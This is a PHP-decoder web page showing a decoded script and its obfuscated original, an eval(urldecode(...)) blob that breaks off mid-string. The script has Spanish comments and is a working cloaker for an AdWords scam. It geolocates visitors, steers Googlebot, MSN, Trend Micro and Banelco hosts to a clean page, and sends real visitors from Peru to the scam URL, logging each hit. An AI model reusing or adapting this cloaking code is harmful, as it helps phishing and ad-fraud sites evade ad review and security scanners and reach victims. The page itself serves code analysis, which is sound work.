Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<? $urlscam = "/";//url de el scam $urlreal = "/";//url que se coloca en adwords $na..
Decoded Output download
$referer = ($_SERVER["HTTP_REFERER"] == "") ? "<br>NADA" : $_SERVER["HTTP_REFERER"];
define("NAVEGADOR", $_SERVER["HTTP_USER_AGENT"]);//nombre de el navegador
define("GOOGLEBOT", strpos($_SERVER["HTTP_USER_AGENT"],"Googlebot"));//control de googlebot
define("MSNBOT", strpos($_SERVER["HTTP_USER_AGENT"],"msn"));//control de msnbot
define("REFERER",$referer);//referer enviado desde la pagina
define("URLSCAM",$urlscam);//url de el scam
define("URLBOT",$urlreal);//url que se coloco para el trafico
$Hora= date('H:i:s');
$ip = $_SERVER["REMOTE_ADDR"];
@$palabraclave = $_REQUEST["keyword"];//la palabra clave que activo el anuncio
@$matchtype = $_REQUEST["matchtype"];//e = concordancia exacta, p = concordancia frase, b = concordancia amplia
@$network = $_REQUEST["network"];//g = Busqueda de Google, s = Asociado de Busqueda, c = Red de Display
@$device = $_REQUEST["device"];//m = Celulares, t = tablets, c = Es un PC
@$devicemodel = $_REQUEST["devicemodel"];//modelo de quien se conecto
@$placement = $_REQUEST["placement"]; //indica desde donde se dio clic
@$adposition = $_REQUEST["adposition"];//indica la pocision donde aparecio el anuncio
@$target = $_REQUEST["target"];
@$creative = $_REQUEST["creative"];
$hostname=gethostbyaddr($_SERVER["REMOTE_ADDR"]);
$archivodebug = "debuger.html";
if(!function_exists('curl_exec'))
{
$contenido = file_get_contents("http://ip-api.com/json/".$_SERVER["REMOTE_ADDR"]);
}else{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://ip-api.com/json/".$ip);
curl_setopt($ch, CURLOPT_USERAGENT, $navegador);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_VERBOSE, true);
curl_setopt($ch, CURLOPT_COOKIESESSION, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookies);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookies);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$contenido = curl_exec($ch);
curl_close($ch);
}
$resultado = explode('","',$contenido);
$countrycode = $resultado[3];
$countryfull = explode('":"',$countrycode);
//TERMINA ZZONA VARIABLES
if($matchtype == "e"){$tipoconcordancia = "Palabra Exacta";}else if($matchtype == "b"){$tipoconcordancia = "Palabra Amplia";}else if($matchtype == "b"){$tipoconcordancia = "Palabra De Frase";}else{$tipoconcordancia = $matchtype;}
if($network == "g"){$tipodered = "Busqueda de Google";}else if($network == "s"){$tipodered = "Asociado de Busqueda";}else if($network == "c"){$tipodered = "Red de Busqueda Display";}else{$tipodered = $network;}
if($device == "m"){$tipodispositivo = "Es un Celular!!";}else if($device == "t"){$tipodispositivo = "Es una Tablet!!";}else if($device == "c"){$tipodispositivo = "Es una PC!!";}else{$tipodispositivo = $network;}
$dispositivomodelo = $devicemodel;
$clicreferer = $placement;
$targe1 = $target;
$creative1 = $creative;
if($adposition == "1t2"){$posicionanuncio = "Primera Pagina, Segunda Pocision";}else if($adposition == "1t1"){$pocisionanuncio = "Primera Pagina, Primera Pocision";}else if($adposition == "2t2"){ $pocisionanuncio = "Segunda Pagina, Segunda Pocision";}else if($adposition == "2t1"){$pocisionanuncio = "Segunda Pagina, Primera Pocision";}else{$pocisionanuncio = $adposition;}
$todook = "<br>---------------------------------------------------------------------------------------------------------------------------------------------------------------------------<br>TODO OK!!!";
$todook .= ($creative1 == "") ? "" : "<br>ID ANUNCIO: ANUNCIO-ID-".$creative1;
$todook .=($ip == "") ? "" : "<br>IP: ".$ip;
$todook .=($Hora == "") ? "" : " --- HORA:".$Hora;
$todook .=($palabraclave == "") ? "" : "<br><b>PALABRA CLAVE:".@$palabraclave."</b>";
$todook .=($tipoconcordancia == "") ? "" : "<br>TIPO DE CONCORDANCIA:".@$tipoconcordancia;
$todook .=($tipodered == "") ? "" : "<br>TIPO DE RED:".@$tipodered;
$todook .=($tipodispositivo == "") ? "" : "<br>TIPO DE DISPOSITIVO:".@$tipodispositivo;
$todook .=($pocisionanuncio == "") ? "" : "<br>POCISION DEL ANUNCIO:".@$pocisionanuncio;
$todook .=(REFERER == "") ? "" : "<br>REFERER: ".REFERER;
$todook .=(URLSCAM == "") ? "<br>NO CONTIENE URLBOT" : "nURL DESTINO:".URLSCAM;
$todook .=($target == "") ? "" : "<br>TARGET:".$target;
$todook .=($hostname == "") ? "" : "<br>HOSTNAME:".@$hostname;
$todook .= "<br>---------------------------------------------------------------------------------------------------------------------------------------------------------------------------<br><br>";
$navegadoresunbot = "<br>---------------------------------------------------------------------------------------------------------------------------------------------------------------------------<br>EL NAVEGADOR ES UN BOT!!!";
$navegadoresunbot .= ($creative1 == "") ? "" : "<br>ID ANUNCIO: ANUNCIO-ID-".$creative1;
$navegadoresunbot .= ($ip == "") ? "" : "<br>IP: ".$ip;
$navegadoresunbot .= ($Hora == "") ? "" : " --- HORA:".$Hora;
$navegadoresunbot .= ($palabraclave == "") ? "" : "<br><b>PALABRA CLAVE:".@$palabraclave."</b>";
$navegadoresunbot .= ($tipoconcordancia == "") ? "" : "<br>TIPO DE CONCORDANCIA:".@$tipoconcordancia;
$navegadoresunbot .= ($tipodered == "") ? "" : "<br>TIPO DE RED:".@$tipodered;
$navegadoresunbot .= ($tipodispositivo == "") ? "" : "<br>TIPO DE DISPOSITIVO:".@$tipodispositivo;
$navegadoresunbot .= ($pocisionanuncio == "") ? "" : "<br>POCISION DEL ANUNCIO:".@$pocisionanuncio;
$navegadoresunbot .= (REFERER == "") ? "" : "<br>REFERER: ".REFERER;
$navegadoresunbot .= (URLBOT == "") ? "<br>NO CONTIENE URLBOT" : "<br>URL DESTINO:".URLBOT;
$navegadoresunbot .= ($target == "") ? "" : "<br>TARGET:".$target;
$navegadoresunbot .= ($hostname == "") ? "" : "<br>HOSTNAME:".@$hostname;
$navegadoresunbot .= "<br>---------------------------------------------------------------------------------------------------------------------------------------------------------------------------<br><br>";
$conectagoogle = "<br>---------------------------------------------------------------------------------------------------------------------------------------------------------------------------<br>SE CONECTA DESDE GOOGLE!!!";
$conectagoogle .= ($creative1 == "") ? "" : "<br>ID ANUNCIO: ANUNCIO-ID-".$creative1;
$conectagoogle .=($ip == "") ? "" : "<br>IP: ".$ip;
$conectagoogle .=($Hora == "") ? "" : " --- HORA:".$Hora;
$conectagoogle .=($palabraclave == "") ? "" : "<br><b>PALABRA CLAVE:".@$palabraclave."</b>";
$conectagoogle .=($tipoconcordancia == "") ? "" : "<br>TIPO DE CONCORDANCIA:".@$tipoconcordancia;
$conectagoogle .=($tipodered == "") ? "" : "<br>TIPO DE RED:".@$tipodered;
$conectagoogle .=($tipodispositivo == "") ? "" : "<br>TIPO DE DISPOSITIVO:".@$tipodispositivo;
$conectagoogle .=($pocisionanuncio == "") ? "" : "<br>POCISION DEL ANUNCIO:".@$pocisionanuncio;
$conectagoogle .=(REFERER == "") ? "" : "<br>REFERER: ".REFERER;
$conectagoogle .=(URLBOT == "") ? "<br>NO CONTIENE URLBOT" : "<br>URL DESTINO:".URLBOT;
$conectagoogle .=($target == "") ? "" : "<br>TARGET:".$target;
$conectagoogle .=($hostname == "") ? "" : "<br>HOSTNAME:".@$hostname;
$conectagoogle .="<br>-------------------------------------------------------------------------------------<br><br>";
$noesnacionalidad = "<br>---------------------------------------------------------------------------------------------------------------------------------------------------------------------------<br>NO ES DE LA NACIONALIDAD SELECCIONADA ".@$nacionalidad."!!!";
$noesnacionalidad .= ($creative1 == "") ? "" : "<br>ID ANUNCIO: ANUNCIO-ID-".$creative1;
$noesnacionalidad .= ($ip == "") ? "" : "<br>IP: ".$ip;
$noesnacionalidad .= ($Hora == "") ? "" : " --- HORA:".$Hora;
$noesnacionalidad .= ($palabraclave == "") ? "" : "<br><b>PALABRA CLAVE:".@$palabraclave."</b>";
$noesnacionalidad .= ($tipoconcordancia == "") ? "" : "<br>TIPO DE CONCORDANCIA:".@$tipoconcordancia;
$noesnacionalidad .= ($tipodered == "") ? "" : "<br>TIPO DE RED:".@$tipodered;
$noesnacionalidad .= ($tipodispositivo == "") ? "" : "<br>TIPO DE DISPOSITIVO:".@$tipodispositivo;
$noesnacionalidad .= ($pocisionanuncio == "") ? "" : "<br>POCISION DEL ANUNCIO:".@$pocisionanuncio;
$noesnacionalidad .= (REFERER == "") ? "" : "<br>REFERER: ".REFERER;
$noesnacionalidad .= (URLBOT == "") ? "<br>NO CONTIENE URLBOT" : "<br>URL DESTINO:".URLBOT;
$noesnacionalidad .= ($target == "") ? "" : "<br>TARGET:".$target;
$noesnacionalidad .= ($hostname == "") ? "" : "<br>HOSTNAME:".@$hostname;
$noesnacionalidad .= "<br>--------------------------------------------------------------------------------------------------------------------------------------------------------------------------<br>";
if((GOOGLEBOT!==false) || (MSNBOT!==false)){//se comprueba primero el navegador
if(file_exists($archivodebug)){
$debug = fopen($archivodebug,"a+");
fwrite($debug, $navegadoresunbot);
fclose($debug);
// header("HTTP/1.1 301 Moved Permanently");
//header("Location: ".URLBOT);
print "<html><head></head><body><script>document.location='".URLBOT."';</script></body></html>";
}else{
$debug = fopen($archivodebug,"a+");
fwrite($debug, "<center><h1>NO LO DEJES LLENAR MUCHO ^.^ PARCERO!!!!!</h1></center><br><br>".$navegadoresunbot);
fclose($debug);
}
}else{
//print_r($countryfull);
if($countryfull[1] == $nacionalidad){
$dns=gethostbyaddr($ip);
$googlebot=strpos($dns,"google");
$reportphishing = strpos($dns, "trendmicro");
$msn = strpos($dns, "msn");
$banelco = strpos($dns, "banelco");
//print "es una persona";
if(($googlebot!==false) || ($reportphishing!==false) || ($msn!==false) || ($banelco!==false)) //si el nombre de dominio dice googlebot o google es un robot
{
$visitante = "robot";
}else{
$visitante = "persona";
}
if($visitante == "persona"){
if(file_exists($archivodebug)){
$debug = fopen($archivodebug,"a+");
fwrite($debug, $todook);
fclose($debug);
}else{
$debug = fopen($archivodebug,"a+");
fwrite($debug, "<center><h1>NO LO DEJES LLENAR MUCHO ^.^ PARCERO!!!!!</h1></center><br><br>".$todook);
fclose($debug);
}
//header("HTTP/1.1 301 Moved Permanently");
//header("Location: ".URLSCAM);
print "<html><head></head><body><script>document.location='".URLSCAM."';</script></body></html>";
//print "es persona";
}else{
if(file_exists($archivodebug)){
$debug = fopen($archivodebug,"a+");
fwrite($debug, $conectagoogle);
fclose($debug);
//header("HTTP/1.1 301 Moved Permanently");
//header("Location: ".URLBOT);
}else{
$debug = fopen($archivodebug,"a+");
fwrite($debug, "<center><h2>NO LO DEJES LLENAR MUCHO ^.^ PARCERO!!!!!</h2></center><br><br>".$conectagoogle);
fclose($debug);
}
print "<html><head></head><body><script>document.location='".URLBOT."';</script></body></html>";
// print "es un robot";
}
}else{
if(file_exists($archivodebug)){
$debug = fopen($archivodebug,"a+");
fwrite($debug, $noesnacionalidad);
fclose($debug);
}else{
$debug = fopen($archivodebug,"a+");
fwrite($debug, "<center><h1>NO LO DEJES LLENAR MUCHO ^.^ PARCERO!!!!!</h1></center><br><br>".$noesnacionalidad);
fclose($debug);
}
//print "no es de nacionalidad ".$nacionalidad;
//header("HTTP/1.1 301 Moved Permanently");
//header("Location: ".URLBOT);
print "<html><head></head><body><script>document.location='".URLBOT."';</script></body></html>";
//
}
}
Did this file decode correctly?
Original Code
<?
$urlscam = "/";//url de el scam
$urlreal = "/";//url que se coloca en adwords
$nacionalidad = "PE";//info http://es.wikipedia.org/wiki/Categora:Wikipedia:Plantillas_de_pas
eval(urldecode("%24%72%65%66%65%72%65%72%20%20%3d%20%28%24%5f%53%45%52%56%45%52%5b%22%48%54%54%50%5f%52%45%46%45%52%45%52%22%5d%20%3d%3d%20%22%22%29%20%3f%20%22%3c%62%72%3e%4e%41%44%41%22%20%3a%20%24%5f%53%45%52%56%45%52%5b%22%48%54%54%50%5f%52%45%46%45%52%45%52%22%5d%3b%0d%0a%64%65%66%69%6e%65%28%22%4e%41%56%45%47%41%44%4f%52%22%2c%20%24%5f%53%45%52%56%45%52%5b%22%48%54%54%50%5f%55%53%45%52%5f%41%47%45%4e%54%22%5d%29%3b%2f%2f%6e%6f%6d%62%72%65%20%64%65%20%65%6c%20%6e%61%76%65%67%61%64%6f%72%0d%0a%64%65%66%69%6e%65%28%22%47%4f%4f%47%4c%45%42%4f%54%22%2c%20%73%74%72%70%6f%73%28%24%5f%53%45%52%56%45%52%5b%22%48%54%54%50%5f%55%53%45%52%5f%41%47%45%4e%54%22%5d%2c%22%47%6f%6f%67%6c%65%62%6f%74%22%29%29%3b%2f%2f%63%6f%6e%74%72%6f%6c%20%64%65%20%67%6f%6f%67%6c%65%62%6f%74%0d%0a%64%65%66%69%6e%65%28%22%4d%53%4e%42%4f%54%22%2c%20%73%74%72%70%6f%73%28%24%5f%53%45%52%56%45%52%5b%22%48%54%54%50%5f%55%53%45%52%5f%41%47%45%4e%54%22%5d%2c%22%6d%73%6e%22%29%29%3b%2f%2f%63%6f%6e%74%72%6f%6c%20%64%65%20%6d%73%6e%62%6f%74%0d%0a%64%65%66%69%6e%65%28%22%52%45%46%45%52%45%52%22%2c%24%72%65%66%65%72%65%72%29%3b%2f%2f%72%65%66%65%72%65%72%20%65%6e%76%69%61%64%6f%20%64%65%73%64%65%20%6c%61%20%70%61%67%69%6e%61%0d%0a%64%65%66%69%6e%65%28%22%55%52%4c%53%43%41%4d%22%2c%24%75%72%6c%73%63%61%6d%29%3b%2f%2f%75%72%6c%20%64%65%20%65%6c%20%73%63%61%6d%0d%0a%64%65%66%69%6e%65%28%22%55%52%4c%42%4f%54%22%2c%24%75%72%6c%72%65%61%6c%29%3b%2f%2f%75%72%6c%20%71%75%65%20%73%65%20%63%6f%6c%6f%63%6f%20%70%61%72%61%20%65%6c%20%74%72%61%66%69%63%6f%0d%0a%24%48%6f%72%61%3d%20%64%61%74%65%28%27%48%3a%69%3a%73%27%29%3b%0d%0a%24%69%70%20%3d%20%24%5f%53%45%52%56%45%52%5b%22%52%45%4d%4f%54%45%5f%41%44%44%52%22%5d%3b%0d%0a%0d%0a%40%24%70%61%6c%61%62%72%61%63%6c%61%76%65%20%3d%20%24%5f%52%45%51%55%45%53%54%5b%22%6b%65%79%77%6f%72%64%22%5d%3b%2f%2f%6c%61%20%70%61%6c%61%62%72%61%20%63%6c%61%76%65%20%71%75%65%20%61%63%74%69%76%6f%20%65%6c%20%61%6e%75%6e%63%69%6f%0d%0a%40%24%6d%61%74%63%68%74%79%70%65%20%3d%20%24%5f%52%45%51%55%45%53%54%5b%22%6d%61%74%63%68%74%79%70%65%22%5d%3b%2f%2f%65%20%3d%20%63%6f%6e%63%6f%72%64%61%6e%63%69%61%20%65%78%61%63%74%61%2c%20%70%20%3d%20%63%6f%6e%63%6f%72%64%61%6e%63%69%61%20%66%72%61%73%65%2c%20%62%20%3d%20%63%6f%6e%63%6f%72%64%61%6e%63%69%61%20%61%6d%70%6c%69%61%09%09%09%20%20%0d%0a%40%24%6e%65%74%77%6f%72%6b%20%3d%20%24%5f%52%45%51%55%45%53%54%5b%22%6e%65%74%77%6f%72%6b%22%5d%3b%2f%2f%67%20%3d%20%42%75%73%71%75%65%64%61%20%64%65%20%47%6f%6f%67%6c%65%2c%20%73%20%3d%20%41%73%6f%63%69%61%64%6f%20%64%65%20%42%75%73%71%75%65%64%61%2c%20%63%20%3d%20%52%65%64%20%64%65%20%44%69%73%70%6c%61%79%09%09%0d%0a%40%24%64%65%76%69%63%65%20%3d%20%24%5f%52%45%51%55%45%53%54%5b%22%64%65%76%69%63%65%22%5d%3b%2f%2f%6d%20%3d%20%43%65%6c%75%6c%61%72%65%73%2c%20%74%20%3d%20%74%61%62%6c%65%74%73%2c%20%63%20%3d%20%45%73%20%75%6e%20%50%43%09%0d%0a%40%24%64%65%76%69%63%65%6d%6f%64%65%6c%20%3d%20%24%5f%52%45%51%55%45%53%54%5b%22%64%65%76%69%63%65%6d%6f%64%65%6c%22%5d%3b%2f%2f%6d%6f%64%65%6c%6f%20%64%65%20%71%75%69%65%6e%20%73%65%20%63%6f%6e%65%63%74%6f%0d%0a%40%24%70%6c%61%63%65%6d%65%6e%74%20%3d%20%24%5f%52%45%51%55%45%53%54%5b%22%70%6c%61%63%65%6d%65%6e%74%22%5d%3b%20%2f%2f%69%6e%64%69%63%61%20%64%65%73%64%65%20%64%6f%6e%64%65%20%73%65%20%64%69%6f%20%63%6c%69%63%0d%0a%40%24%61%64%70%6f%73%69%74%69%6f%6e%20%3d%20%24%5f%52%45%51%55%45%53%54%5b%22%61%64%70%6f%73%69%74%69%6f%6e%22%5d%3b%2f%2f%69%6e%64%69%63%61%20%6c%61%20%70%6f%63%69%73%69%6f%6e%20%64%6f%6e%64%65%20%61%70%61%72%65%63%69%6f%20%65%6c%20%61%6e%75%6e%63%69%6f%0d%0a%40%24%74%61%72%67%65%74%20%3d%20%24%5f%52%45%51%55%45%53%54%5b%22%74%61%72%67%65%74%22%5d%3b%0d%0a%40%24%63%72%65%61%74%69%76%65%20%3d%20%24%5f%52%45%51%55%45%53%54%5b%22%63%72%65%61%74%69%76%65%22%5d%3b%0d%0a%24%68%6f%73%74%6e%61%6d%65%3d%67%65%74%68%6f%73%74%62%79%61%64%64%72%28%24%5f%53%45%52%56%45%52%5b%22%52%45%4d%4f%54%45%5f%41%44%44%52%22%5d%29%3b%0d%0a%24%61%72%63%68%69%76%6f%64%65%62%75%67%20%3d%20%22%64%65%62%75%67%65%72%2e%68%74%6d%6c%22%3b%0d%0a%0d%0a%69%66%28%21%66%75%6e%63%74%69%6f%6e%5f%65%78%69%73%74%73%28%27%63%75%72%6c%5f%65%78%65%63%27%29%29%0d%0a%7b%0d%0a%09%24%63%6f%6e%74%65%6e%69%64%6f%20%3d%20%66%69%6c%65%5f%67%65%74%5f%63%6f%6e%74%65%6e%74%73%28%22%68%74%74%70%3a%2f%2f%69%70%2d%61%70%69%2e%63%6f%6d%2f%6a%73%6f%6e%2f%22%2e%24%5f%53%45%52%56%45%52%5b%22%52%45%4d%4f%54%45%5f%41%44%44%52%22%5d%29%3b%0d%0a%7d%65%6c%73%65%7b%0d%0a%09%0d%0a%09%24%63%68%20%3d%20%63%75%72%6c%5f%69%6e%69%74%28%29%3b%0d%0a%0d%0a%09%63%75%72%6c%5f%73%65%74%6f%70%74%28%24%63%68%2c%20%43%55%52%4c%4f%50%54%5f%55%52%4c%2c%20%22%68%74%74%70%3a%2f%2f%69%70%2d%61%70%69%2e%63%6f%6d%2f%6a%73%6f%6e%2f%22%2e%24%69%70%29%3b%0d%0a%09%63%75%72%6c%5f%73%65%74%6f%70%74%28%24%63%68%2c%20%43%55%52%4c%4f%50%54%5f%55%53%45%52%41%47%45%4e%54%2c%20%24%6e%61%76%65%67%61%64%6f%72%29%3b%0d%0a%09%63%75%72%6c%5f%73%65%74%6f%70%74%28%24%63%68%2c%20%43%55%52%4c%4f%50%54%5f%53%53%4c%5f%56%45%52%49%46%59%50%45%45%52%2c%20%66%61%6c%73%65%29%3b%0d%0a%09%63%75%72%6c%5f%73%65%74%6f%70%74%28%24%63%68%2c%20%43%55%52%4c%4f%50%54%5f%56%45%52%42%4f%53%45%2c%20%74%72%75%65%29%3b%0d%0a%09%63%75%72%6c%5f%73%65%74%6f%70%74%28%24%63%68%2c%20%43%55%52%4c%4f%50%54%5f%43%4f%4f%4b%49%45%53%45%53%53%49%4f%4e%2c%20%74%72%75%65%29%3b%0d%0a%09%63%75%72%6c%5f%73%65%74%6f%70%74%28%24%63%68%2c%20%43%55%52%4c%4f%50%54%5f%43%4f%4f%4b%49%45%4a%41%52%2c%20%24%63%6f%6f%6b%69%65%73%29%3b%0d%0a%09%63%75%72%6c%5f%73%65%74%6f%70%74%28%24%63%68%2c%20%43%55%52%4c%4f%50%54%5f%43%4f%4f%4b%49%45%46%49%4c%45%2c%20%24%63%6f%6f%6b%69%65%73%29%3b%0d%0a%09%63%75%72%6c%5f%73%65%74%6f%70%74%28%24%63%68%2c%20%43%55%52%4c%4f%50%54%5f%46%4f%4c%4c%4f%57%4c%4f%43%41%54%49%4f%4e%2c%20%54%52%55%45%29%3b%0d%0a%09%63%75%72%6c%5f%73%65%74%6f%70%74%28%24%63%68%2c%20%43%55%52%4c%4f%50%54%5f%52%45%54%55%52%4e%54%52%41%4e%53%46%45%52%2c%20%74%72%75%65%29%3b%0d%0a%0d%0a%09%24%63%6f%6e%74%65%6e%69%64%6f%20%3d%20%63%75%72%6c%5f%65%78%65%63%28%24%63%68%29%3b%0d%0a%09%63%75%72%6c%5f%63%6c%6f%73%65%28%24%63%68%29%3b%0d%0a%09%0d%0a%7d%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%24%72%65%73%75%6c%74%61%64%6f%20%3d%20%65%78%70%6c%6f%64%65%28%27%22%2c%22%27%2c%24%63%6f%6e%74%65%6e%69%64%6f%29%3b%09%0d%0a%24%63%6f%75%6e%74%72%79%63%6f%64%65%20%3d%20%24%72%65%73%75%6c%74%61%64%6f%5b%33%5d%3b%0d%0a%24%63%6f%75%6e%74%72%79%66%75%6c%6c%20%3d%20%65%78%70%6c%6f%64%65%28%27%22%3a%22%27%2c%24%63%6f%75%6e%74%72%79%63%6f%64%65%29%3b%0d%0a%0d%0a%0d%0a%2f%2f%54%45%52%4d%49%4e%41%20%5a%5a%4f%4e%41%20%56%41%52%49%41%42%4c%45%53%0d%0a%0d%0a%0d%0a%0d%0a%09%69%66%28%24%6d%61%74%63%68%74%79%70%65%20%3d%3d%20%22%65%22%29%7b%24%74%69%70%6f%63%6f%6e%63%6f%72%64%61%6e%63%69%61%20%3d%20%22%50%61%6c%61%62%72%61%20%45%78%61%63%74%61%22%3b%7d%65%6c%73%65%20%69%66%28%24%6d%61%74%63%68%74%79%70%65%20%3d%3d%20%22%62%22%29%7b%24%74%69%70%6f%63%6f%6e%63%6f%72%64%61%6e%63%69%61%20%3d%20%22%50%61%6c%61%62%72%61%20%41%6d%70%6c%69%61%22%3b%7d%65%6c%73%65%20%69%66%28%24%6d%61%74%63%68%74%79%70%65%20%3d%3d%20%22%62%22%29%7b%24%74%69%70%6f%63%6f%6e%63%6f%72%64%61%6e%63%69%61%20%3d%20%22%50%61%6c%61%62%72%61%20%44%65%20%46%72%61%73%65%22%3b%7d%65%6c%73%65%7b%24%74%69%70%6f%63%6f%6e%63%6f%72%64%61%6e%63%69%61%20%3d%20%24%6d%61%74%63%68%74%79%70%65%3b%7d%0d%0a%09%69%66%28%24%6e%65%74%77%6f%72%6b%20%3d%3d%20%22%67%22%29%7b%24%74%69%70%6f%64%65%72%65%64%20%3d%20%22%42%75%73%71%75%65%64%61%20%64%65%20%47%6f%6f%67%6c%65%22%3b%7d%65%6c%73%65%20%69%66%28%24%6e%65%74%77%6f%72%6b%20%3d%3d%20%22%73%22%29%7b%24%74%69%70%6f%64%65%72%65%64%20%3d%20%22%41%73%6f%63%69%61%64%6f%20%64%65%20%42%75%73%71%75%65%64%61%22%3b%7d%65%6c%73%65%20%69%66%28%24%6e%65%74%77%6f%72%6b%20%3d%3d%20%22%63%22%29%7b%24%74%69%70%6f%64%65%72%65%64%20%3d%20%22%52%65%64%20%64%65%20%42%75%73%71%75%65%64%61%20%44%69%73%70%6c%61%79%22%3b%7d%65%6c%73%65%7b%24%74%69%70%6f%64%65%72%65%64%20%3d%20%24%6e%65%74%77%6f%72%6b%3b%7d%0d%0a%09%69%66%28%24%64%65%76%69%63%65%20%3d%3d%20%22%6d%22%29%7b%24%74%69%70%6f%64%69%73%70%6f%73%69%74%69%76%6f%20%3d%20%22%45%73%20%75%6e%20%43%65%6c%75%6c%61%72%21%21%22%3b%7d%65%6c%73%65%20%69%66%28%24%64%65%76%69%63%65%20%3d%3d%20%22%74%22%29%7b%24%74%69%70%6f%64%69%73%70%6f%73%69%74%69%76%6f%20%3d%20%22%45%73%20%75%6e%61%20%54%61%62%6c%65%74%21%21%22%3b%7d%65%6c%73%65%20%69%66%28%24%64%65%76%69%63%65%20%3d%3d%20%22%63%22%29%7b%24%74%69%70%6f%64%69%73%70%6f%73%69%74%69%76%6f%20%3d%20%22%45%73%20%75%6e%61%20%50%43%21%21%22%3b%7d%65%6c%73%65%7b%24%74%69%70%6f%64%69%73%70%6f%73%69%74%69%76%6f%20%3d%20%24%6e%65%74%77%6f%72%6b%3b%7d%0d%0a%09%24%64%69%73%70%6f%73%69%74%69%76%6f%6d%6f%64%65%6c%6f%20%3d%20%24%64%65%76%69%63%65%6d%6f%64%65%6c%3b%0d%0a%09%24%63%6c%69%63%72%65%66%65%72%65%72%20%3d%20%24%70%6c%61%63%65%6d%65%6e%74%3b%0d%0a%09%24%74%61%72%67%65%31%20%3d%20%24%74%61%72%67%65%74%3b%0d%0a%09%24%63%72%65%61%74%69%76%65%31%20%3d%20%24%63%72%65%61%74%69%76%65%3b%0d%0a%09%69%66%28%24%61%64%70%6f%73%69%74%69%6f%6e%20%3d%3d%20%22%31%74%32%22%29%7b%24%70%6f%73%69%63%69%6f%6e%61%6e%75%6e%63%69%6f%20%3d%20%22%50%72%69%6d%65%72%61%20%50%61%67%69%6e%61%2c%20%53%65%67%75%6e%64%61%20%50%6f%63%69%73%69%6f%6e%22%3b%7d%65%6c%73%65%20%69%66%28%24%61%64%70%6f%73%69%74%69%6f%6e%20%3d%3d%20%22%31%74%31%22%29%7b%24%70%6f%63%69%73%69%6f%6e%61%6e%75%6e%63%69%6f%20%3d%20%22%50%72%69%6d%65%72%61%20%50%61%67%69%6e%61%2c%20%50%72%69%6d%65%72%61%20%50%6f%63%69%73%69%6f%6e%22%3b%7d%65%6c%73%65%20%69%66%28%24%61%64%70%6f%73%69%74%69%6f%6e%20%3d%3d%20%22%32%74%32%22%29%7b%09%24%70%6f%63%69%73%69%6f%6e%61%6e%75%6e%63%69%6f%20%3d%20%22%53%65%67%75%6e%64%61%20%50%61%67%69%6e%61%2c%20%53%65%67%75%6e%64%61%20%50%6f%63%69%73%69%6f%6e%22%3b%7d%65%6c%73%65%20%69%66%28%24%61%64%70%6f%73%69%74%69%6f%6e%20%3d%3d%20%22%32%74%31%22%29%7b%24%70%6f%63%69%73%69%6f%6e%61%6e%75%6e%63%69%6f%20%3d%20%22%53%65%67%75%6e%64%61%20%50%61%67%69%6e%61%2c%20%50%72%69%6d%65%72%61%20%50%6f%63%69%73%69%6f%6e%22%3b%7d%65%6c%73%65%7b%24%70%6f%63%69%73%69%6f%6e%61%6e%75%6e%63%69%6f%20%3d%20%24%61%64%70%6f%73%69%74%69%6f%6e%3b%7d%0d%0a%09%0d%0a%09%0d%0a%09%24%74%6f%64%6f%6f%6b%20%3d%20%22%3c%62%72%3e%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%3c%62%72%3e%54%4f%44%4f%20%4f%4b%21%21%21%22%3b%0d%0a%09%24%74%6f%64%6f%6f%6b%20%2e%3d%20%28%24%63%72%65%61%74%69%76%65%31%20%3d%3d%20%22%22%29%20%3f%20%22%22%20%3a%20%22%3c%62%72%3e%49%44%20%41%4e%55%4e%43%49%4f%3a%20%41%4e%55%4e%43%49%4f%2d%49%44%2d%22%2e%24%63%72%65%61%74%69%76%65%31%3b%0d%0a%09%24%74%6f%64%6f%6f%6b%20%2e%3d%28%24%69%70%20%3d%3d%20%22%22%29%20%3f%20%22%22%20%3a%20%22%3c%62%72%3e%49%50%3a%20%22%2e%24%69%70%3b%0d%0a%09%24%74%6f%64%6f%6f%6b%20%2e%3d%28%24%48%6f%72%61%20%3d%3d%20%22%22%29%20%3f%20%22%22%20%3a%20%22%20%2d%2d%2d%20%20%20%20%48%4f%52%41%3a%22%2e%24%48%6f%72%61%3b%0d%0a%09%24%74%6f%64%6f%6f%6b%20%2e%3d%28%24%70%61%6c%61%62%72%61%63%6c%61%76%65%20%3d%3d%20%22%22%29%20%3f%20%22%22%09%3a%20%20%22%3c%62%72%3e%3c%62%3e%50%41%4c%41%42%52%41%20%43%4c%41%56%45%3a%22%2e%40%24%70%61%6c%61%62%72%61%63%6c%61%76%65%2e%22%3c%2f%62%3e%22%3b%0d%0a%09%24%74%6f%64%6f%6f%6b%20%2e%3d%28%24%74%69%70%6f%63%6f%6e%63%6f%72%64%61%6e%63%69%61%20%3d%3d%20%22%22%29%20%3f%20%22%22%20%3a%20%22%3c%62%72%3e%54%49%50%4f%20%44%45%20%43%4f%4e%43%4f%52%44%41%4e%43%49%41%3a%22%2e%40%24%74%69%70%6f%63%6f%6e%63%6f%72%64%61%6e%63%69%61%3b%09%20%20%0d%0a%09%24%74%6f%64%6f%6f%6b%20%2e%3d%28%24%74%69%70%6f%64%